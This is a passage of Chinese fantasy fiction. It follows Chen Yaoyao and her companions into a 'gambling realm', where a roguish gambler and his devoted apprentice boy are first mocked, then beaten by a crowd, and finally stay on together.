一个自己,正站在锦鲤池边,对着一条鲶鱼说:“我想知道,我到底想要什么。”
那个自己,在笑。
陈瑶瑶睁开眼睛。
阿鲶已经不见了。
水面上,只剩一圈圈涟漪,慢慢扩散,慢慢平静。
陈瑶瑶站在池边,忽然明白了。
她想要什么?
她想要——成为那个会问“我想要什么”的人。
这就是答案。
发财在她怀里“汪”了一声。
陈瑶瑶低头,看见它黑溜溜的眼睛里,映着自己的脸。
那张脸上,有笑容。
远处,街市的灯火次第亮起。
人群又开始聚集,举着牌子,高喊林森的名字。
林森站在石台上,面带微笑,准备开始新一天的赐福。
他不知道,池底那条鲶鱼,已经不在了。
他也不知道,明天开始,那些锦鲤再也不会精准地接住硬币。
但此刻,他仍然是神。
而被看见的人,才是神。
陈瑶瑶抱着发财,往回走。
经过一条小巷时,她忽然停下脚步。
巷子里,一个少年靠在墙上,月光照在他脸上——那张美得惊心动魄的脸。
阿鲶冲她挥了挥手:“哟。”
陈瑶瑶瞪大眼睛:“你……你出来了?”
阿鲶点头,笑得灿烂:“托你的福。第一百个,终于成了。”
陈瑶瑶愣了半天,忽然问:“那你现在要去哪儿?”
阿鲶想了想,指了指天上:“随便逛逛。三百年没看过星星了。”
他直起身,准备走。
陈瑶瑶忽然叫住他:“等等!”
阿鲶回头。
陈瑶瑶认真地说:“谢谢你。”
阿鲶笑了,那笑容干净得像水:“谢你自己。是你让我相信,也许真的有人,能帮我。”
他转身,走进月光里。
陈瑶瑶看着他的背影消失,忽然想起一件事。
她忘了问他——
那个法阵,到底是谁设的?
为什么要困他三百年?
每次数到九十九就归零,真的是巧合吗?
还是……有人在故意让他永远出不来?
发财在她怀里蹭了蹭。
陈瑶瑶低头看它,轻声说:“发财,你觉得,阿鲶真的自由了吗?”
发财歪了歪头,没有回答。
远处,锦鲤池的方向,传来人群的欢呼声。
林森的神迹,还在继续。
陈瑶瑶抱着发财,转身走进灯火里。
她还有很多问题没有答案。
但至少,她知道自己想要什么了。
10. 赌生
白骨伞落地时,陈瑶瑶已经有了经验——双手护住发财,膝盖微屈,等那股失重感过去。
但这次落地,平稳得不像话。
没有颠簸,没有卡顿,甚至没有那种穿境时特有的“溺水感”。像是从一张床翻到另一张床,眼睛一闭一睁,就到了。
陈瑶瑶睁开眼,愣了愣:“这就……到了?”
云河收伞,眉头微蹙。
发财从陈瑶瑶怀里探出脑袋,东嗅嗅西嗅嗅,忽然打了个喷嚏。
“阿嚏——!”
喷嚏声在空旷的街道上回响,没人应。
太安静了。
陈瑶瑶环顾四周。这是一条还算热闹的街市,两旁有店铺有摊位,酒旗招展,招牌林立——但所有的店铺都门窗紧闭,所有的摊位都空空荡荡。蒸笼还冒着热气,茶壶还搁在炉上,但人没了。像是有人按下了暂停键,把一整条街的人都变没了。
“人呢?”陈瑶瑶嘀咕。
发财从她怀里跳下来,小短腿颠颠地跑到一个摊位前,对着摊子底下一阵猛嗅。那尾巴摇得飞快,像是发现了什么了不得的东西。
陈瑶瑶跟过去,蹲下往里看——
一双眼睛,正和她对视。
那眼睛的主人是个卖糖人的老头,缩在摊子底下,浑身哆嗦,见陈瑶瑶看他,拼命摆手,嘴唇翕动,不出声地喊:走!快走!
陈瑶瑶还没反应过来,远处忽然爆发出一阵喧哗。
“买定离手——!”
“开了开了——!”
“我赌他撑不过三息——!”
“三息?我赌他一息就跪!”
欢呼声、口哨声、铜钱碰撞声,从街角那边传来,热浪一样扑过来。
陈瑶瑶站起身,循声望去。
街角拐过去,是一处开阔地。那里黑压压围了一大圈人,男女老少都有,一个个踮着脚伸着脖子,脸上带着兴奋的红光,像一群等着喂食的鸭子。
人群中央,有人在喊:
“来来来,新开一局!赌他这次能撑多久!一赔十!一赔十啊!”
陈瑶瑶和云河对视一眼。
发财已经颠颠地跑过去了。
人群围成一个大圈,圈里跪着两个人。
一个是少年,约莫十四五岁,瘦得像根竹竿,穿着一件打满补丁的旧褂子,跪在地上,低着头,肩膀微微发抖。从陈瑶瑶的角度,只能看见他黑乎乎的头顶和后脑勺上两根翘起来的呆毛。
另一个是青年,二十出头,生得浓眉大眼,一脸正气——此刻正气凛然地站在少年身边,怒视着对面的人,那眼神能喷出火来。
对面的人,是个中年男子。
瘦,非常瘦。像是一阵风就能吹倒,但那双眼睛贼亮,骨碌碌转着,一看就满肚子坏水。他穿着一身洗得发白的旧袍子,袖口磨出了毛边,却偏要装出几分风流倜傥的模样,摇着一把破扇子。扇面上写着四个大字:愿赌服输。那字写得歪歪扭扭,像是自己拿毛笔蘸着锅底灰描的。
此刻他正笑眯眯地看着那正气青年,开口说话,声音油滑得像抹了猪油:
“这位壮士,你说你要救这孩子?行啊。咱们赌一局。你赢了,人你带走。你输了——把你身上值钱的东西留下。”
正气青年正是公孙潜龙。
陈瑶瑶在人群外踮脚看见他,愣了一下:“他怎么在这儿?”
云河没答话,只是静静看着,目光落在那瘦男子身上,看不出在想什么。
公孙潜龙昂首挺胸,声如洪钟:“赌什么?”
瘦男子扇子一合,指着地上的少年:“就赌他。赌他会不会跟你走。”
公孙潜龙皱眉:“这算什么赌?他分明是被你胁迫的!我救他,他当然愿意跟我走!”
瘦男子笑了。那笑容说不出的欠揍,像是看见一只小绵羊自己走进了狼窝。
他低头对少年说:“徒弟,抬起头,告诉这位壮士——你叫什么?”
少年抬起头。
一张满是灰尘的脸,眼睛倒是挺大,黑亮黑亮的,像两颗葡萄泡在清水里。他看着公孙潜龙,又看看瘦男子,小声说:“我叫……我叫跟屁虫。”
人群里爆发出一阵哄笑。
“跟屁虫!哈哈哈!”
“这名字绝了!”
“师父叫老赌鬼,徒弟叫跟屁虫,绝配!”
公孙潜龙一脸错愕:“你……你叫跟屁虫?”
少年点点头,眼神无辜,那两根呆毛跟着晃了晃。
瘦男子——老赌鬼——摇着破扇子:“这孩子是我捡的,从小跟着我,没大名。我叫他什么他就应什么。怎么,壮士觉得这名字不好?那咱们可以赌一局,赌他改不改名。”
公孙潜龙被他绕晕了:“我不是来赌的!我是来救人的!”
老赌鬼眨眨眼:“救人?救什么人?我这徒弟跟着我吃香的喝辣的,日子过得不知道多滋润。你问问他自己,愿不愿意跟你走?”
公孙潜龙看向少年,眼神里带着悲悯和期待:“你愿意跟我走吗?”
少年看着他,又看看老赌鬼,小声问:“师父,我该怎么说?”
老赌鬼笑眯眯地:“实话实说。”
少年想了想,认真地对公孙潜龙说:“我不走。”
公孙潜龙愣住了。
人群又爆发出哄笑,笑得前仰后合,有人笑得直拍大腿。
“哈哈哈!人家不走!”
“这位壮士,你是不是搞错了什么?”
“人家师徒情深,你凑什么热闹!”
公孙潜龙脸涨得通红,指着老赌鬼:“你……你肯定威胁他了!你用什么威胁他?不给饭吃?打他?”
老赌鬼摊手:“壮士,你可以搜。我身上一粒米都没有,拿什么威胁?至于打——徒弟,我打过你吗?”
少年摇头:“没有。”
老赌鬼:“骂过你吗?”
少年摇头:“也没有。”
老赌鬼:“那你为什么跟着我?”
少年想了想,认真地说:“因为跟着师父,每天都很有意思。”
人群静了一瞬,然后笑声更大了,笑得有人直揉肚子。
“有意思!哈哈哈!”
“这孩子怕不是傻的吧!”
“跟着这老赌鬼能有什么意思?天天被人追着打?”
公孙潜龙气得发抖,指着老赌鬼:“你……你到底给他灌了什么迷魂汤?”
老赌鬼摇着扇子,悠悠地说:“壮士,你别激动。要不这样,咱们赌一局。你赢了,我让我徒弟好好考虑考虑。你输了,你转身走人,别耽误我们师徒做生意。如何?”
公孙潜龙咬牙:“赌什么?”
老赌鬼眼睛一亮,指着不远处的一个摊位:“看见那个卖包子的没有?你去买两个包子回来。我赌你买不到。”
公孙潜龙冷笑:“买包子有什么难的?我这就去!”
他大步走向包子摊。
摊主是个胖大婶,正在蒸包子,热气腾腾,肉香四溢。见公孙潜龙走过来,她抬头看了一眼——
然后“哐当”一声,把蒸笼盖上了。
公孙潜龙:“老板,来两个包子。”
胖大婶不说话,盯着他看。
公孙潜龙掏出铜钱:“我有钱。”
胖大婶还是不说话,眼神像在看一个傻子。
公孙潜龙急了:“我买包子!给钱!两个包子!”
胖大婶忽然开口:“你赌不赌?”
公孙潜龙一愣:“什么?”
胖大婶指着旁边的牌子,牌子上写着:本摊包子,只卖赌客。不赌者,恕不接待。
公孙潜龙傻了。
身后传来老赌鬼悠悠的声音:“壮士,忘了告诉你,咱们这境叫赌境。在这里,什么事都可以拿来赌,什么都可以当赌注。你不赌,连包子都买不着。”
公孙潜龙回头,怒视着他。
老赌鬼笑眯眯地:“怎么样?要不要跟我赌一局?就赌你能不能买到包子?”
公孙潜龙深吸一口气,压下怒火:“好。我跟你赌。”
老赌鬼眼睛更亮了:“有魄力!来来来,咱们开个盘。我赌你买不到。你赌什么?”
公孙潜龙:“我赌我能买到。”
老赌鬼摇头:“不不不,你不能赌这个。你赌的是‘你能买到’,我赌的是‘你买不到’,这赌局不成立——因为我赌的就是你不会赌。”
公孙潜龙被他绕晕了:“你什么意思?”
老赌鬼耐心解释,像在教一个笨学生:“你看啊,你要买包子,就得先赌。但你跟我赌的是‘你能不能买到包子’,这个赌局本身就需要你先赌才能成立。可你现在还没赌呢,所以这个赌局不存在。你要让赌局存在,就得先跟我赌另一件事——比如,赌你会不会跟我赌。”
公孙潜龙彻底懵了。
人群笑得前仰后合,有人笑得蹲在地上直不起腰。
“哈哈哈!老赌鬼又开始了!”
“这套路我见过!新人必中!”
“壮士,你别听他绕,他把你绕晕了就该下注了!”
老赌鬼摇着扇子,一脸无辜:“我可没绕他,我说的是实话。咱们这境里,规矩就是这样——任何一件事,只要有人赌,就成了赌局。你现在站在这儿,就已经是赌局的一部分了。你信不信,那边已经有人开赌了?”
公孙潜龙顺着他的目光看去——
人群里果然有人蹲在地上,面前摆着个破碗,正在吆喝:“来来来,新开一局!赌这位壮士会不会被绕晕!一赔三!一赔三!”
公孙潜龙:“……”
陈瑶瑶在人群外看得目瞪口呆。
她扯了扯云河的袖子,压低声音问:“这……这是什么地方?”
云河:“赌境。以赌为生的境。在这里,任何事情都可以拿来赌,任何东西都可以当赌注。一块石头、一句话、一个眼神——只要有人愿意赌,就是赌局。”
陈瑶瑶:“那……那不赌不行吗?”
云河看着她,没说话。
旁边一个大婶听见了,热心解释:“小姑娘,不赌也行。但你不赌,就什么都干不了。买不了东西,吃不了饭,住不了店。就连走路,都得跟人赌‘你会不会踩到那条缝’——你不赌,就只能站在原地不动。”
陈瑶瑶低头一看,地上果然有条缝。
她下意识往旁边挪了挪。
大婶笑了:“你看,你已经赌了。你赌的是‘踩到缝会倒霉’。虽然你没说出来,但你心里赌了。”
陈瑶瑶:“……”
这地方,太可怕了。
人群中央,公孙潜龙终于从绕口令般的赌局里挣扎出来,涨红着脸大喊:“够了!我不跟你绕!我就问你,你到底放不放人?”
老赌鬼叹了口气,摇着扇子:“壮士,你怎么就不明白呢?不是我放不放人的问题,是这孩子自己不愿意走。要不你问问他?”
公孙潜龙看向少年:“你为什么不走?他到底对你做了什么?”
少年想了想,认真地说:“师父没对我做什么。他对我很好。”
公孙潜龙:“很好?他让你跪在这儿,让人围观,这叫很好?”
少年:“这是工作。我们每天都要工作。师父负责赌,我负责跪。等师父赢了,我们就去买吃的。”
公孙潜龙:“那要是输了呢?”
少年眨眨眼:“输了就跑啊。师父跑得可快了。”
人群又笑了。
公孙潜龙简直不敢相信自己的耳朵:“你……你就这么跟着他?他拿你当赌注,你就不怕哪天他真的把你输出去?”
少年歪着头想了想:“输出去是什么意思?”
公孙潜龙:“就是他把你输给别人,你就得跟别人走了!”
少年看着他,忽然笑了。那笑容很干净,像是不懂事的孩子,又像是懂了太多:“不会的。师父每次都会把我赢回来。”
公孙潜龙愣住了。
老赌鬼在旁边悠悠地说:“壮士,你可能不信,但这孩子说的是真的。我赌过他不下八百回,每回都赢回来了。”
公孙潜龙:“那你为什么还要拿他赌?”
老赌鬼摊手:“因为我只会赌啊。不赌,我们吃什么?住什么?再说了——”他看了一眼少年,语气忽然软了一瞬,像是有什么东西在那一闪而过,“这孩子跟着我,也没饿着冻着。他自己乐意,你管得着吗?”
公孙潜龙说不出话来。
他看着那个跪在地上的少年,看着他脸上那种没心没肺的笑容,看着他那两根翘起来的呆毛在风里一晃一晃,忽然觉得自己的“正义感”无处安放。
他想救的人,根本不想被救。
就在这时,人群外忽然传来一声喊:
“等等!”
陈瑶瑶抱着发财挤进人群。
公孙潜龙看见她,眼睛一亮:“瑶瑶?云河前辈也在?”
云河点点头,算是打过招呼。
老赌鬼看见陈瑶瑶怀里的发财,眼睛眯了眯,那双贼亮的眼睛里闪过一丝什么:“哟,这狗挺肥啊。”
发财立刻竖起耳朵,警惕地看着他,喉咙里发出一声低低的呜咽,往陈瑶瑶怀里缩了缩。
陈瑶瑶护住发财,转向少年:“你真的愿意跟着他?”
少年看着她,又看看发财,眼睛亮了:“这狗真好看。”
发财往陈瑶瑶怀里又缩了缩。
陈瑶瑶耐心地问:“我问你,你真的愿意跟着他?他不打你,不骂你,但他拿你当赌注,让你跪在这儿被人围观——你真的愿意?”
少年想了想,认真地说:“姐姐,你不知道。我以前是没人要的。在街上流浪,饿得吃土。是师父把我捡回来的。他给我吃的,给我穿的,还给我起了名字。”
陈瑶瑶:“他叫你跟屁虫。”
少年笑了,那笑容比阳光还亮:“对啊,跟屁虫。以前没人给我起名字,他们都叫我‘那个小乞丐’。跟屁虫比那个好听多了。”
陈瑶瑶心里一酸。
少年继续说:“师父是喜欢赌。但他每次都把我赢回来了。有一次他输了,把我押给一个赌坊老板,他跪在人家门口跪了三天三夜,拿自己当赌注,最后把我换回来了。”
他顿了顿,声音小了下去,像是说一个秘密:“那三天,我躲在赌坊里,天天哭。后来师父来接我,我看见他膝盖都跪烂了,走路一瘸一拐的。我问他疼不疼,他说不疼,问我饿不饿,带我去吃面。”
少年的眼睛亮亮的,像盛着两汪水:“那碗面,是我吃过最好吃的面。”
陈瑶瑶沉默了。
她看向老赌鬼。
老赌鬼摇着扇子,眼神飘向别处,但嘴角微微抿着,腮帮子绷紧了,没有说话。
公孙潜龙也沉默了。
云河静静看着这一切,忽然开口:“你刚才说,你想救他?”
公孙潜龙点头。
云河:“现在呢?”
公孙潜龙看着少年,看着他那双亮晶晶的眼睛,看着他那两根呆毛,良久,苦笑一声:“我不知道。”
老赌鬼忽然开口:“壮士,你是个好人。但好人有时候也会办坏事。这孩子跟着我,是他自己的选择。你要是真为他好,就别拿你那套‘正义’往他身上套。”
他顿了顿,摇着扇子,又恢复了那副油滑模样:“当然,你要是不服气,咱们可以赌一局。赌他三年后会不会后悔。不过那得等三年,你等得起吗?”
公孙潜龙深吸一口气,忽然说:“好。我跟你赌。”
老赌鬼一愣:“赌什么?”
公孙潜龙指着少年:“就赌他。赌他三年后,还会不会叫你师父。”
老赌鬼眯起眼睛:“有意思。赌注呢?”
公孙潜龙想了想,把腰间的玉佩解下来:“这是我师父给我的,贴身带了十年。够不够?”
人群哗然。
那玉佩成色极好,温润如脂,一看就值不少钱。
老赌鬼眼睛亮了,像饿了三天的狼看见肉。但很快又暗下去,像是那肉有毒。他叹了口气,摇头:“壮士,你这赌注太大,我接不起。”
公孙潜龙皱眉:“为什么?”
老赌鬼指了指自己:“你看我这样,像有东西能跟你对赌的吗?”
公孙潜龙看向少年。
老赌鬼摇头:“他不算。他是人,不是东西。”
少年在旁边小声说:“师父,我可以的。”
老赌鬼瞪他一眼:“闭嘴。你是人,不是赌注。”
少年瘪瘪嘴,不说话了,那两根呆毛也耷拉下来。
公孙潜龙看着这对师徒,忽然不知道该说什么。
陈瑶瑶在旁边看了半天,忽然问:“你们平时怎么赌?”
老赌鬼看了她一眼,笑眯眯地说:“小姑娘想学?简单。随便找件事,下注就行。比如——我赌你接下来会眨眼睛。”
陈瑶瑶眨了眨眼睛。
老赌鬼一拍大腿:“你眨了!你输了!欠我一文钱!”
陈瑶瑶:“……”
发财在她怀里“汪”了一声。
老赌鬼眼睛一亮:“这狗会叫!我赌它三息之内还会叫!”
发财立刻闭嘴,警惕地看着他,耳朵竖得直直的。
三息过去,发财没叫。
老赌鬼懊恼地一拍大腿:“输了输了!欠你一文钱!”
陈瑶瑶被他这套操作弄懵了,半天才反应过来:“等等,你刚才说我欠你一文,现在你欠我一文——那我们扯平了?”
老赌鬼笑眯眯地:“对啊,扯平了。你看,赌就是这么回事。赢了开心,输了也不亏。大家图个乐子嘛。”
陈瑶瑶看着他那双贼亮的眼睛,看着那眼睛深处藏着的一点什么,忽然有点理解少年为什么愿意跟着他了。
这人虽然满肚子坏水,但至少……不坏。
入夜。
陈瑶瑶他们在镇上找了间客栈住下。这客栈也怪,住店要先赌——赌今晚会不会下雨。陈瑶瑶赌“不会”,云河赌“会”,结果半夜真下雨了。
陈瑶瑶输了一文钱,给云河的时候还在嘀咕:“你怎么知道会下雨?”
云河:“闻出来的。”
发财在旁边附和地“汪”了一声,尾巴摇得欢快,像是在说“就是就是”。
陈瑶瑶:“……”
第二天一早,她们去找公孙潜龙。
公孙潜龙住隔壁,推开门的时候,一脸疲惫,眼睛里带着血丝,像是熬了一夜。
陈瑶瑶:“你怎么了?没睡好?”
公孙潜龙苦笑:“我昨晚想了一夜,还是想不通。”
陈瑶瑶:“想不通什么?”
公孙潜龙:“那个孩子。他明明可以过更好的生活,为什么要跟着那么个人?”
陈瑶瑶想了想,把发财抱起来:“你觉得发财过得好吗?”
公孙潜龙一愣:“当然好。你天天抱着,云河前辈宠着,顿顿有吃的。”
陈瑶瑶:“那如果有人来说,要带发财去过‘更好’的生活——住更大的房子,吃更好的肉,但不能再跟着云河,你觉得发财会去吗?”
公孙潜龙愣住了。
发财适时地往陈瑶瑶怀里拱了拱,发出一声满足的哼哼,表示“我不去”。
陈瑶瑶看着他:“那个孩子也是一样。他跟着老赌鬼,不是因为他不知道什么是‘更好’,而是因为他已经有了‘最好’的。”
公孙潜龙沉默了很久。
窗外传来喧哗声。
他们走到窗边往下看——街上又围了一群人,人群中央,老赌鬼正带着少年开新一局。
老赌鬼今天换了一身打扮,不知从哪儿弄来一件半新不旧的长衫,穿得人模狗样的,摇着那把破扇子,正在吆喝:“来来来,新开一局!赌我这徒弟今天会不会笑!一赔五!一赔五!”
少年跪在地上,面无表情,那两根呆毛在风里晃来晃去。
有人下注:“我赌他会笑!”
有人下注:“我赌他不会!”
老赌鬼笑眯眯地:“买定离手!买定离手!”
少年忽然打了个哈欠。
人群哄笑。
老赌鬼一拍大腿:“他打哈欠了!算不算笑?”
人群吵成一团,有的说算,有的说不算,最后老赌鬼一拍板:“算半笑!通杀!今天所有人的赌注都归我!”
人群哀嚎一片,但也有人笑骂着掏钱。
少年接过那些铜钱,捧到老赌鬼面前,小声说:“师父,够吃面了。”
老赌鬼摸了摸他的头,笑眯眯地:“走,吃面去。”
师徒俩穿过人群,往街角的面摊走去。少年走在前头,蹦蹦跳跳的,那两根呆毛一颠一颠。老赌鬼在后头跟着,一瘸一拐的——陈瑶瑶这才注意到,他走路确实不太稳当,左腿有点跛,像是膝盖受过伤。
她忽然想起少年说的那句话:“师父膝盖都跪烂了,走路一瘸一拐的。”
原来是真的。
公孙潜龙也看见了,沉默了很久。
陈瑶瑶轻声问:“你还想救他吗?”
公孙潜龙苦笑:“我不知道。”
云河忽然开口:“你不用救他。他已经得救了。”
两人看向她。
云河看着窗外那对师徒的背影,目光淡淡的,像在看很远的地方:“对有些人来说,被需要,就是得救。”
陈瑶瑶想起少年说的那句“以前没人给我起名字”,想起他那双亮晶晶的眼睛,忽然懂了。
对那个孩子来说,老赌鬼需要的,不是一个“赌注”,而是一个“跟屁虫”。
一个会等他、会找他、会带面回来给他吃的跟屁虫。
这就是他的家。
变故发生在第三天。
那天早上,陈瑶瑶刚起床,就听见外面吵翻了天。那声音不像前两天的嬉笑怒骂,而是带着一股子狠劲,像是什么东西被撕破了。
她推门出去,只见街上围满了人,比前两天多出好几倍,密密麻麻,黑压压一片。人群中央,老赌鬼被按在地上,几个人踩着他的背,正在往他身上吐口水。
“骗子!”
“打死这个骗子!”
“他根本不会赌!他靠的是耍赖!”
陈瑶瑶心头一跳,抱起发财就往下跑。
挤进人群,她看见老赌鬼趴在地上,浑身是土,脸上青一块紫一块,嘴角流着血。那件半新不旧的长衫被撕烂了,破扇子不知道丢到哪里去了,只剩一根扇骨还捏在手里。
几个人围着他,一边踢一边骂,每踢一脚就骂一句。
“你骗了我们多少年?啊?”
“每次都说‘愿赌服输’,结果你自己从来不守规矩!”
“今天我们就要让你知道,骗人的下场!”
老赌鬼抱着头,蜷缩成一团,一声不吭,只有肩膀在抖。
陈瑶瑶四处张望,没看见那个少年。
她抓住旁边一个大婶:“他徒弟呢?”
大婶“呸”了一口,唾沫星子溅到陈瑶瑶手上:“那个小骗子?跑了!他师父被揭穿了,他还留着干嘛?”
陈瑶瑶心里一沉。
人群里有人喊:“别打了别打了,打死人怎么办?”
“打死活该!”
“就是!这种人打死也不冤!”
老赌鬼忽然动了动,从地上爬起来,跪着,开始磕头。
一下,两下,三下。
额头撞在地上,发出沉闷的声响,一下一下像敲在人心上。
“各位大爷,我错了,我认输,我认罚。”他的声音沙哑,带着哭腔,像是从嗓子眼里挤出来的,“求你们放过我,我马上滚,再也不出现在这儿。”
人群里有人笑了:“哟,老赌鬼还会求饶?”
“他不是一直这样吗?遇到硬骨头就跪,老规矩了。”
“呸!贱骨头!”
又是一阵拳打脚踢。
老赌鬼抱着头,蜷缩着,一动不动,像一团被人扔掉的破布。
陈瑶瑶实在看不下去,正要冲进去,忽然被人拉住了。
回头一看,是公孙潜龙。
他脸色铁青,咬着牙说:“我去。”
他大步走进人群,一把推开那几个打人的人:“住手!”
那几个人回头看他:“你谁啊?”
公孙潜龙:“我是谁不重要。你们打也打了,骂也骂了,够了。”
有人认出他来:“哟,这不是前几天那个要救人的壮士吗?怎么,今天改救他师父了?”
“壮士,你可别被他骗了。这人满嘴谎话,没一句真的。”
公孙潜龙看着趴在地上的老赌鬼,沉默了一瞬,然后说:“他骗人是他的事。但你们这样打人,也是错的。”
那几个人对视一眼,有人冷笑:“行,给你个面子。反正这老东西也废了。”
他们又踢了老赌鬼一脚,骂骂咧咧地散了。
人群渐渐散去,只剩下老赌鬼趴在地上,浑身是血。
公孙潜龙蹲下来,想扶他起来。
老赌鬼躲开他的手,自己挣扎着爬起来,踉跄了两步,靠在一面墙上。他脸上全是血,眼睛肿得只剩一条缝,嘴角破了,但还在笑,那笑容比哭还难看。
“多谢壮士。”他喘着气说,每说一个字都像是用尽了力气,“欠你一
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条命。以后有机会,还你。”
公孙潜龙皱眉:“你徒弟呢?”
老赌鬼的笑容僵了一下,然后继续笑:“跑了呗。聪明孩子,知道跟着我没好下场。”
陈瑶瑶抱着发财走过来:“他说你会把他赢回来的。”
老赌鬼看了她一眼,没说话。
陈瑶瑶:“他说你每次都能把他赢回来。”
老赌鬼沉默了很久,久到陈瑶瑶以为他不会回答了。然后他忽然笑了,那笑容和之前的都不一样,没有狡黠,没有算计,只有一种说不清的疲惫,像是被掏空了。
“这次不一样。”他说,“这次赢不回来了。”
他扶着墙,踉踉跄跄地往街角走,一步一瘸,背影在晨光里显得格外单薄。
陈瑶瑶想追上去,被云河拉住了。
云河摇摇头:“让他走。”
那天夜里,陈瑶瑶睡不着,抱着发财坐在客栈门口发呆。
月光很亮,照在空荡荡的街道上,青石板路泛着冷冷的光。
忽然,她听见一阵窸窸窣窣的声音。
循声望去,墙角蹲着一个小小的身影。
是那个少年。
他蜷缩在墙角,抱着膝盖,脸埋在手臂里,肩膀一抖一抖的。月光照在他身上,照出那两根翘起来的呆毛,也在轻轻发抖。
陈瑶瑶走过去,轻声喊:“跟屁虫?”
少年抬起头,满脸泪痕,眼睛红肿得像两颗核桃。
陈瑶瑶心里一酸,蹲下来:“你怎么在这儿?”
少年吸了吸鼻子,小声说:“我找不到师父了。”
陈瑶瑶:“你不是跑了吗?”
少年摇头,眼泪跟着甩下来:“我没跑。我去买面了。师父说今天赢了钱,带我去吃面。我先去了面摊等他,等了好久他都没来。后来我看见好多人围在一起,我想过去看看,就看见……”
他说不下去了,眼泪又涌出来,大颗大颗地往下掉。
陈瑶瑶这才注意到,他怀里抱着一个油纸包,抱得紧紧的,像抱着什么宝贝。
打开一看,是两碗面,已经坨了,面条黏成一团,汤也干了。
少年抽泣着:“我买了面回来,师父就不见了。我找了好久好久,找不到他。”
陈瑶瑶不知道该说什么,只能轻轻拍着他的背。
发财从她怀里跳下来,蹭了蹭少年的腿,发出轻轻的呜咽,伸出舌头舔他的手。
少年低头看着发财,忽然问:“姐姐,你说师父是不是不要我了?”
陈瑶瑶心里一疼:“不会的。他怎么会不要你?”
少年:“可是他们都说他是骗子,说他会骗我。”
陈瑶瑶:“那他骗过你吗?”
少年摇头:“没有。他从来不骗我。”
陈瑶瑶:“那不就够了?”
少年想了想,小声说:“可是我找不到他了。”
陈瑶瑶沉默了。
就在这时,身后传来一个声音:
“跟屁虫。”
少年猛地回头。
街角的阴影里,一个人影踉跄着走出来。
是老赌鬼。
他浑身的伤,脸上还带着血,走一步喘三喘,但那双眼睛还是亮的,在月光下像两盏灯。
少年愣了愣,然后“哇”的一声哭出来,扑过去抱住他。
“师父——!我以为你不要我了——!”
老赌鬼被他撞得差点摔倒,龇牙咧嘴地吸着气,但手还是摸着他的头,嘴里骂着:“谁说我不要你了?我赌了那么多回,哪回没把你赢回来?”
少年哭着说:“可是他们都说你是骗子。”
老赌鬼:“骗子怎么了?骗子也是你师父。”
少年:“他们说你会骗我。”
老赌鬼沉默了一下,然后说:“我不会骗你。”
少年抬起头,泪眼汪汪地看着他。
老赌鬼认真地说,一字一句:“我跟别人赌,跟所有人赌,但我不跟你赌。因为你是我徒弟。”
少年愣愣地看着他,忽然破涕为笑,那笑容把脸上的泪痕都照亮了。
老赌鬼也笑了,笑着笑着,忽然捂住胸口,咳嗽起来,咳得弯下腰。
少年慌了:“师父,你怎么了?”
老赌鬼摆摆手:“没事,没事。走,咱们换个地方。”
他拉着少年,准备走。
陈瑶瑶忽然叫住他:“等等。”
老赌鬼回头。
陈瑶瑶看着他,认真地问:“你要去哪儿?”
老赌鬼笑了笑:“不知道。哪儿能活命就去哪儿。”
陈瑶瑶想起云河说过的话,犹豫了一下,开口问:“你想离开这个境吗?”
老赌鬼的眼睛亮了一瞬,但很快又暗下去:“离开?怎么离开?”
陈瑶瑶看向云河。
云河不知什么时候站在了门口,月光照在她身上,清冷如霜,像一尊玉雕。
她看着老赌鬼,淡淡开口:“我可以告诉你离开的方法。”
老赌鬼愣住了。
他看了看云河,又看了看陈瑶瑶,最后看了看怀里的少年,忽然笑了。
那笑容里,有狡黠,有算计,也有一丝说不清的东西,像是期待,又像是害怕。
“姑娘,你想要什么?”
云河:“什么都不想要。”
老赌鬼不信,摇头:“不可能。这世上没有白给的便宜。”
云河沉默了一瞬,然后说:“你欠他一条命。他是我的人。”
她指了指公孙潜龙。
公孙潜龙站在旁边,一脸复杂,看着老赌鬼,说不出是什么表情。
老赌鬼看了他一眼,忽然笑了:“行。我欠壮士一条命,现在用这个还。够公平。”
他转向云河:“请姑娘指点。”
云河抬手,指着远处的山:“翻过那座山,有一片桃林。桃林深处有一口井。跳进去,就能离开。”
老赌鬼眯起眼睛,看着那座山。
月光下,山影巍峨,沉默无言,像一个巨大的影子蹲在那里。
他忽然低头,看着少年:“跟屁虫,你想不想离开这儿?”
少年眨眨眼:“师父去哪儿我就去哪儿。”
老赌鬼笑了,揉了揉他的脑袋,把那两根呆毛揉得更乱了:“好。那咱们走。”
他拉着少年,往山的方向走去。
走出几步,少年忽然回头,冲陈瑶瑶挥了挥手:“姐姐,谢谢你!”
陈瑶瑶也挥了挥手。
发财“汪”了一声,算是告别。
师徒俩的身影,渐渐消失在夜色里,越走越远,最后融进那片月光里。
陈瑶瑶站在原地,看着他们消失的方向,忽然觉得心里有点空。
三天后。
陈瑶瑶他们在镇上闲逛,准备离开。公孙潜龙说要跟他们一起走,云河没反对。
经过那条街时,忽然听见一阵熟悉的声音。
“买定离手——!新开一局!赌我今天会不会笑!一赔五!一赔五!”
陈瑶瑶一愣,循声望去。
街角,老赌鬼摇着破扇子——不知道从哪儿又捡了一把,比上一把还破——正在吆喝。少年跪在旁边,面无表情,那两根呆毛在风里晃来晃去。
周围围了一圈人,嘻嘻哈哈地下着注,和三天前一模一样。
陈瑶瑶走过去,难以置信地问:“你们……没走?”
老赌鬼看见她,笑眯眯地:“走了,又回来了。”
陈瑶瑶:“为什么?”
老赌鬼摇着扇子,悠悠地说:“翻过那座山,发现没有桃林。那姑娘骗我呢。”
陈瑶瑶看向云河。
云河面不改色:“我说的是‘翻过那座山,有一片桃林’。没说是这座山。”
老赌鬼愣了愣,然后哈哈大笑,笑得眼泪都快出来了。
“姑娘,你也是个赌徒啊!行,我认输!”
他笑完,看了看陈瑶瑶,又看了看云河,忽然压低声音说:“不过说真的,我本来也没打算走。”
陈瑶瑶一愣:“为什么?”
老赌鬼指了指少年,声音低下去:“这孩子从出生就在这个境里。外面什么样,他不知道。万一出去不适应呢?万一被人欺负呢?万一……”
他顿了顿,笑了笑,那笑容里有点东西在闪:“万一他后悔了呢?”
少年在旁边听见了,抬起头:“师父,我不会后悔的。”
老赌鬼揉了揉他的脑袋,把那两根呆毛揉得乱七八糟:“我知道。但我得替你想。”
他转向陈瑶瑶,认真地说,难得地认真:“小姑娘,谢谢你。你让我知道,这世上还有别的活法。但我和这孩子,就适合在这儿。他跟着我,我带着他,能活。”
陈瑶瑶看着他,忽然不知道该说什么。
老赌鬼又笑起来,恢复了那副油滑模样:“再说了,这儿多好啊。什么事都能赌,什么人都能骗。我这一身本事,出去了不就浪费了?”
少年在旁边小声说:“师父,你不是说不骗我吗?”
